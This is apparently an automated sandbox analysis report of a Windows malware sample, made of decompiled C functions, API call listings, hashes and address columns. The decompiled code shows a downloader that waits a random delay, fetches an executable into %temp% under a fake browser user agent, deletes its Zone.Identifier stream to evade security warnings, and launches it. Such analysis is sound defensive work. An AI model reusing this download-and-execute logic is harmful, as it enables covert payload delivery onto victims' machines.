                                                                                                                                                                                                                                                                                                                                                      0x0040cf78
                                                                                                                                                                                                                                                                                                                                                      0x0040cf4f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cf4f
                                                                                                                                                                                                                                                                                                                                                      0x0040cf7f
                                                                                                                                                                                                                                                                                                                                                      0x0040cf97
                                                                                                                                                                                                                                                                                                                                                      0x0040cfb3
                                                                                                                                                                                                                                                                                                                                                      0x0040cfb8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cfb8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cfcc
                                                                                                                                                                                                                                                                                                                                                      0x0040cfd2

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoInitializeEx.OLE32(00000000,00000002,?,?,?,00406424), ref: 0040CF1A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: socket.WS2_32(00000002,00000002,00000011), ref: 0040C48A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: htons.WS2_32(0000076C), ref: 0040C4C0
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: inet_addr.WS2_32(239.255.255.250), ref: 0040C4CF
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C4ED
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: bind.WS2_32(000000FF,?,00000010), ref: 0040C523
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: lstrlenA.KERNEL32(00410558,00000000,?,00000010), ref: 0040C53C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: sendto.WS2_32(000000FF,00410558,00000000), ref: 0040C54B
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C565
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040CB20: SysFreeString.OLEAUT32(00000000), ref: 0040CBFB
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040CB20: SysFreeString.OLEAUT32(00000000), ref: 0040CC05
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID: TCP$UDP
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1519345861-1097902612
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b23955f82ad740c6fc9952af490be07d5f99902bf7a15e6b7e22476a6b17889b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7980f018718c5a7cf75dd436cb71b586f895944f9189d1e6d61c69674e67b648
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b23955f82ad740c6fc9952af490be07d5f99902bf7a15e6b7e22476a6b17889b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 151184B5E00208EBD700EBD4EC86BEEB375EB44308F50866AF505772C1D7785A41CB9A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Callgraph

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00B610B0 Relevance: 63.2, APIs: 30, Strings: 6, Instructions: 188filenetworksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 80%
                                                                                                                                                                                                                                                                                                                                                      			E00B610B0(WCHAR* _a4) {
				void _v268;
				short _v788;
				signed int _v789;
				void* _v796;
				void* _v800;
				short _v1324;
				long _v1328;
				long _v1332;
				void* _v1336;
				short _v1860;
				signed int _t67;
				signed int _t71;
				signed int _t73;
				void* _t77;
				int _t78;
				signed int _t79;
				signed int _t81;
				signed int _t83;
				void* _t91;
				void* _t95;
				int _t98;
				signed char _t104;
				void* _t146;
				void* _t148;

				srand(GetTickCount());
				_t67 = rand();
				asm("cdq");
				Sleep(0x2710 + _t67 % 0xea60 * 8); // executed
				_v789 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v788, 0x104);
				_t71 = rand();
				asm("cdq");
				_t73 = rand();
				asm("cdq");
				wsprintfW( &_v1860, L"%s\\%d%d.exe",  &_v788, _t73 % 0x7530 + 0x2710, _t71 % 0x7530 + 0x2710);
				_t148 = _t146 + 0x18;
				_t77 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", 0, 0, 0, 0); // executed
				_v1336 = _t77;
				if(_v1336 == 0) {
					L10:
					_t78 = InternetCloseHandle(_v1336);
					Sleep(0x1f4); // executed
					if((_v789 & 0x000000ff) != 0) {
						L13:
						return _t78;
					}
					_t79 = rand();
					asm("cdq");
					Sleep(0x2710 + _t79 % 0xea60 * 5);
					_t81 = rand();
					asm("cdq");
					_t83 = rand();
					asm("cdq");
					_t78 = wsprintfW( &_v1860, L"%s\\%d%d.exe",  &_v788, _t83 % 0x7530 + 0x2710, _t81 % 0x7530 + 0x2710);
					_push(0);
					_push(0);
					_push( &_v1860);
					_push(_a4);
					_push(0);
					L00B616AC();
					if(_t78 != 0) {
						goto L13;
					}
					wsprintfW( &_v1324, L"%s:Zone.Identifier",  &_v1860);
					DeleteFileW( &_v1324);
					return E00B61000( &_v1860);
				}
				_t91 = InternetOpenUrlW(_v1336, _a4, 0, 0, 0, 0); // executed
				_v796 = _t91;
				if(_v796 == 0) {
					L9:
					InternetCloseHandle(_v796);
					goto L10;
				}
				_t95 = CreateFileW( &_v1860, 0x40000000, 0, 0, 2, 0, 0); // executed
				_v800 = _t95;
				if(_v800 == 0xffffffff) {
					L8:
					CloseHandle(_v800);
					goto L9;
				} else {
					goto L3;
				}
				while(1) {
					L3:
					_t98 = InternetReadFile(_v796,  &_v268, 0x103,  &_v1332); // executed
					if(_t98 == 0 || _v1332 == 0) {
						break;
					}
					WriteFile(_v800,  &_v268, _v1332,  &_v1328, 0); // executed
				}
				CloseHandle(_v800);
				Sleep(0x3e8); // executed
				wsprintfW( &_v1324, L"%s:Zone.Identifier",  &_v1860);
				DeleteFileW( &_v1324); // executed
				Sleep(0x3e8); // executed
				_t104 = E00B61000( &_v1860); // executed
				_t148 = _t148 + 0x10;
				if((_t104 & 0x000000ff) == 1) {
					_v789 = 1;
				}
				goto L8;
			}



























                                                                                                                                                                                                                                                                                                                                                      0x00b610c0
                                                                                                                                                                                                                                                                                                                                                      0x00b610c8
                                                                                                                                                                                                                                                                                                                                                      0x00b610cd
                                                                                                                                                                                                                                                                                                                                                      0x00b610dd
                                                                                                                                                                                                                                                                                                                                                      0x00b610e3
                                                                                                                                                                                                                                                                                                                                                      0x00b610fb
                                                                                                                                                                                                                                                                                                                                                      0x00b61101
                                                                                                                                                                                                                                                                                                                                                      0x00b61106
                                                                                                                                                                                                                                                                                                                                                      0x00b61115
                                                                                                                                                                                                                                                                                                                                                      0x00b6111a
                                                                                                                                                                                                                                                                                                                                                      0x00b6113c
                                                                                                                                                                                                                                                                                                                                                      0x00b61142
                                                                                                                                                                                                                                                                                                                                                      0x00b61152
                                                                                                                                                                                                                                                                                                                                                      0x00b61158
                                                                                                                                                                                                                                                                                                                                                      0x00b61165
                                                                                                                                                                                                                                                                                                                                                      0x00b6129d
                                                                                                                                                                                                                                                                                                                                                      0x00b612a4
                                                                                                                                                                                                                                                                                                                                                      0x00b612af
                                                                                                                                                                                                                                                                                                                                                      0x00b612be
                                                                                                                                                                                                                                                                                                                                                      0x00b6137a
                                                                                                                                                                                                                                                                                                                                                      0x00b6137a
                                                                                                                                                                                                                                                                                                                                                      0x00b6137a
                                                                                                                                                                                                                                                                                                                                                      0x00b612c4
                                                                                                                                                                                                                                                                                                                                                      0x00b612c9
                                                                                                                                                                                                                                                                                                                                                      0x00b612db
                                                                                                                                                                                                                                                                                                                                                      0x00b612e1
                                                                                                                                                                                                                                                                                                                                                      0x00b612e6
                                                                                                                                                                                                                                                                                                                                                      0x00b612f5
                                                                                                                                                                                                                                                                                                                                                      0x00b612fa
                                                                                                                                                                                                                                                                                                                                                      0x00b6131c
                                                                                                                                                                                                                                                                                                                                                      0x00b61325
                                                                                                                                                                                                                                                                                                                                                      0x00b61327
                                                                                                                                                                                                                                                                                                                                                      0x00b6132f
                                                                                                                                                                                                                                                                                                                                                      0x00b61333
                                                                                                                                                                                                                                                                                                                                                      0x00b61334
                                                                                                                                                                                                                                                                                                                                                      0x00b61336
                                                                                                                                                                                                                                                                                                                                                      0x00b6133d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b61352
                                                                                                                                                                                                                                                                                                                                                      0x00b61362
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b61374
                                                                                                                                                                                                                                                                                                                                                      0x00b6117e
                                                                                                                                                                                                                                                                                                                                                      0x00b61184
                                                                                                                                                                                                                                                                                                                                                      0x00b61191
                                                                                                                                                                                                                                                                                                                                                      0x00b61290
                                                                                                                                                                                                                                                                                                                                                      0x00b61297
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b61297
                                                                                                                                                                                                                                                                                                                                                      0x00b611ad
                                                                                                                                                                                                                                                                                                                                                      0x00b611b3
                                                                                                                                                                                                                                                                                                                                                      0x00b611c0
                                                                                                                                                                                                                                                                                                                                                      0x00b61283
                                                                                                                                                                                                                                                                                                                                                      0x00b6128a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b611c6
                                                                                                                                                                                                                                                                                                                                                      0x00b611c6
                                                                                                                                                                                                                                                                                                                                                      0x00b611e0
                                                                                                                                                                                                                                                                                                                                                      0x00b611e8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b61211
                                                                                                                                                                                                                                                                                                                                                      0x00b61211
                                                                                                                                                                                                                                                                                                                                                      0x00b61220
                                                                                                                                                                                                                                                                                                                                                      0x00b6122b
                                                                                                                                                                                                                                                                                                                                                      0x00b61244
                                                                                                                                                                                                                                                                                                                                                      0x00b61254
                                                                                                                                                                                                                                                                                                                                                      0x00b6125f
                                                                                                                                                                                                                                                                                                                                                      0x00b6126c
                                                                                                                                                                                                                                                                                                                                                      0x00b61271
                                                                                                                                                                                                                                                                                                                                                      0x00b6127a
                                                                                                                                                                                                                                                                                                                                                      0x00b6127c
                                                                                                                                                                                                                                                                                                                                                      0x00b6127c
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 00B610B9
                                                                                                                                                                                                                                                                                                                                                      • srand.MSVCRT ref: 00B610C0
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00B610C8
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE ref: 00B610DD
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00B610FB
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00B61101
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00B61115
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00B6113C
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00B61152
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlW.WININET(00000000,00B614FA,00000000,00000000,00000000,00000000), ref: 00B6117E
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00B611AD
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000103,?), ref: 00B611E0
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNELBASE(000000FF,?,00000000,?,00000000), ref: 00B61211
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 00B61220
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 00B6122B
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00B61244
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNELBASE(?), ref: 00B61254
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 00B6125F
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 00B6128A
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 00B61297
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 00B612A4
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000001F4), ref: 00B612AF
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00B612C4
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32 ref: 00B612DB
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00B612E1
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00B612F5
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00B6131C
                                                                                                                                                                                                                                                                                                                                                      • URLDownloadToFileW.URLMON(00000000,00B614FA,?,00000000,00000000), ref: 00B61336
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00B61352
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 00B61362
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • %s\%d%d.exe, xrefs: 00B61310
                                                                                                                                                                                                                                                                                                                                                      • %s:Zone.Identifier, xrefs: 00B61238
                                                                                                                                                                                                                                                                                                                                                      • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36, xrefs: 00B6114D
                                                                                                                                                                                                                                                                                                                                                      • %s\%d%d.exe, xrefs: 00B61130
                                                                                                                                                                                                                                                                                                                                                      • %s:Zone.Identifier, xrefs: 00B61346
                                                                                                                                                                                                                                                                                                                                                      • %temp%, xrefs: 00B610F6
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.352566128.0000000000B61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00B60000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352561396.0000000000B60000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352570446.0000000000B62000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352574567.0000000000B64000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_b60000_120477188.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Filerand$InternetSleep$CloseHandlewsprintf$DeleteOpen$CountCreateDownloadEnvironmentExpandReadStringsTickWritesrand
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2905877775-1161929716
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1bce19a2cdeb9b613a3fddc2c438e295d668bf3b0e97c7045c0da16b827edb29
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 40b65da2ee73427dcb0fa8583cbf9a6aaa28cecc7c38a7aa713eefdbb6d66174
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1bce19a2cdeb9b613a3fddc2c438e295d668bf3b0e97c7045c0da16b827edb29
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A76196B5944618ABE724DB64DC59FEA7379EB48701F0448D8F20A921D0DBBC6B84CF64
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00B61000 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 60sleepprocessCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 18 b61000-b61060 memset * 2 20 b61062-b6106f Sleep 18->20 21 b61071-b61095 ShellExecuteW 18->21 22 b610a8-b610ab 20->22 23 b610a6 21->23 24 b61097-b610a4 Sleep 21->24 23->22 24->22
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00B61000(WCHAR* _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;
				int _t18;

				memset( &_v100, 0, 0x44);
				memset( &_v24, 0, 0x10);
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t18 = CreateProcessW(0, _a4, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24); // executed
				if(_t18 != 1) {
					_v8 = ShellExecuteW(0, L"open", _a4, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8); // executed
				return 1;
			}








                                                                                                                                                                                                                                                                                                                                                      0x00b6100e
                                                                                                                                                                                                                                                                                                                                                      0x00b6101e
                                                                                                                                                                                                                                                                                                                                                      0x00b61026
                                                                                                                                                                                                                                                                                                                                                      0x00b6102d
                                                                                                                                                                                                                                                                                                                                                      0x00b61039
                                                                                                                                                                                                                                                                                                                                                      0x00b61057
                                                                                                                                                                                                                                                                                                                                                      0x00b61060
                                                                                                                                                                                                                                                                                                                                                      0x00b61088
                                                                                                                                                                                                                                                                                                                                                      0x00b6108e
                                                                                                                                                                                                                                                                                                                                                      0x00b61095
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b610a6
                                                                                                                                                                                                                                                                                                                                                      0x00b6109c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b610a2
                                                                                                                                                                                                                                                                                                                                                      0x00b61067
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.MSVCRT ref: 00B6100E
                                                                                                                                                                                                                                                                                                                                                      • memset.MSVCRT ref: 00B6101E
                                                                                                                                                                                                                                                                                                                                                      • CreateProcessW.KERNELBASE ref: 00B61057
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 00B61067
                                                                                                                                                                                                                                                                                                                                                      • ShellExecuteW.SHELL32(00000000,open,00B61374,00000000,00000000,00000000), ref: 00B61082
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 00B6109C
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.352566128.0000000000B61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00B60000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352561396.0000000000B60000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352570446.0000000000B62000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352574567.0000000000B64000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_b60000_120477188.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleepmemset$CreateExecuteProcessShell
                                                                                                                                                                                                                                                                                                                                                      • String ID: $@Chv$D$open
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3787208655-2536666014
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 4f7b00322c7cf3be74be75948172a062ff83c0048f97dea1e815c25672c47c38
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 6e187391169420ab75dc1c8900bbeae8613680b7d7c600ae36b1187f8812e7ca
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4f7b00322c7cf3be74be75948172a062ff83c0048f97dea1e815c25672c47c38
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C2114C71A80348BBFB20DB94CC46F9E77B8EB54B02F200155F6096B2C1DAB9AA44CB55
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00B61518 Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 71%
                                                                                                                                                                                                                                                                                                                                                      			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;

				_push(0xffffffff);
				_push(0xb62360);
				_push(0xb616a0);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0xb63030 =  *0xb63030 | 0xffffffff;
				 *0xb63034 =  *0xb63034 | 0xffffffff;
				 *(__p__fmode()) =  *0xb6302c;
				 *(__p__commode()) =  *0xb63028;
				 *0xb63038 = _adjust_fdiv;
				_t27 = E00B61697( *_adjust_fdiv);
				if( *0xb63010 == 0) {
					__setusermatherr(E00B61694);
				}
				E00B61682(_t27);
				_push(0xb6300c);
				_push(0xb63008);
				L00B6167C();
				_v112 =  *0xb63024;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0xb63020,  &_v112);
				_push(0xb63004);
				_push(0xb63000);
				L00B6167C();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0)); // executed
				_t40 = E00B61480(); // executed
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00B61676();
				return _t41;
			}























                                                                                                                                                                                                                                                                                                                                                      0x00b6151b
                                                                                                                                                                                                                                                                                                                                                      0x00b6151d
                                                                                                                                                                                                                                                                                                                                                      0x00b61522
                                                                                                                                                                                                                                                                                                                                                      0x00b6152d
                                                                                                                                                                                                                                                                                                                                                      0x00b6152e
                                                                                                                                                                                                                                                                                                                                                      0x00b6153b
                                                                                                                                                                                                                                                                                                                                                      0x00b61540
                                                                                                                                                                                                                                                                                                                                                      0x00b61545
                                                                                                                                                                                                                                                                                                                                                      0x00b6154c
                                                                                                                                                                                                                                                                                                                                                      0x00b61553
                                                                                                                                                                                                                                                                                                                                                      0x00b61566
                                                                                                                                                                                                                                                                                                                                                      0x00b61574
                                                                                                                                                                                                                                                                                                                                                      0x00b6157d
                                                                                                                                                                                                                                                                                                                                                      0x00b61582
                                                                                                                                                                                                                                                                                                                                                      0x00b6158d
                                                                                                                                                                                                                                                                                                                                                      0x00b61594
                                                                                                                                                                                                                                                                                                                                                      0x00b6159a
                                                                                                                                                                                                                                                                                                                                                      0x00b6159b
                                                                                                                                                                                                                                                                                                                                                      0x00b615a0
                                                                                                                                                                                                                                                                                                                                                      0x00b615a5
                                                                                                                                                                                                                                                                                                                                                      0x00b615aa
                                                                                                                                                                                                                                                                                                                                                      0x00b615b4
                                                                                                                                                                                                                                                                                                                                                      0x00b615cd
                                                                                                                                                                                                                                                                                                                                                      0x00b615d3
                                                                                                                                                                                                                                                                                                                                                      0x00b615d8
                                                                                                                                                                                                                                                                                                                                                      0x00b615dd
                                                                                                                                                                                                                                                                                                                                                      0x00b615ea
                                                                                                                                                                                                                                                                                                                                                      0x00b615ec
                                                                                                                                                                                                                                                                                                                                                      0x00b615f2
                                                                                                                                                                                                                                                                                                                                                      0x00b6162e
                                                                                                                                                                                                                                                                                                                                                      0x00b61633
                                                                                                                                                                                                                                                                                                                                                      0x00b61634
                                                                                                                                                                                                                                                                                                                                                      0x00b61634
                                                                                                                                                                                                                                                                                                                                                      0x00b615f4
                                                                                                                                                                                                                                                                                                                                                      0x00b615f4
                                                                                                                                                                                                                                                                                                                                                      0x00b615f4
                                                                                                                                                                                                                                                                                                                                                      0x00b615f5
                                                                                                                                                                                                                                                                                                                                                      0x00b615f8
                                                                                                                                                                                                                                                                                                                                                      0x00b615fa
                                                                                                                                                                                                                                                                                                                                                      0x00b61605
                                                                                                                                                                                                                                                                                                                                                      0x00b61607
                                                                                                                                                                                                                                                                                                                                                      0x00b61607
                                                                                                                                                                                                                                                                                                                                                      0x00b61608
                                                                                                                                                                                                                                                                                                                                                      0x00b61608
                                                                                                                                                                                                                                                                                                                                                      0x00b61605
                                                                                                                                                                                                                                                                                                                                                      0x00b6160b
                                                                                                                                                                                                                                                                                                                                                      0x00b6160f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b61615
                                                                                                                                                                                                                                                                                                                                                      0x00b6161c
                                                                                                                                                                                                                                                                                                                                                      0x00b61626
                                                                                                                                                                                                                                                                                                                                                      0x00b6163b
                                                                                                                                                                                                                                                                                                                                                      0x00b61628
                                                                                                                                                                                                                                                                                                                                                      0x00b61628
                                                                                                                                                                                                                                                                                                                                                      0x00b61628
                                                                                                                                                                                                                                                                                                                                                      0x00b6163c
                                                                                                                                                                                                                                                                                                                                                      0x00b6163d
                                                                                                                                                                                                                                                                                                                                                      0x00b6163e
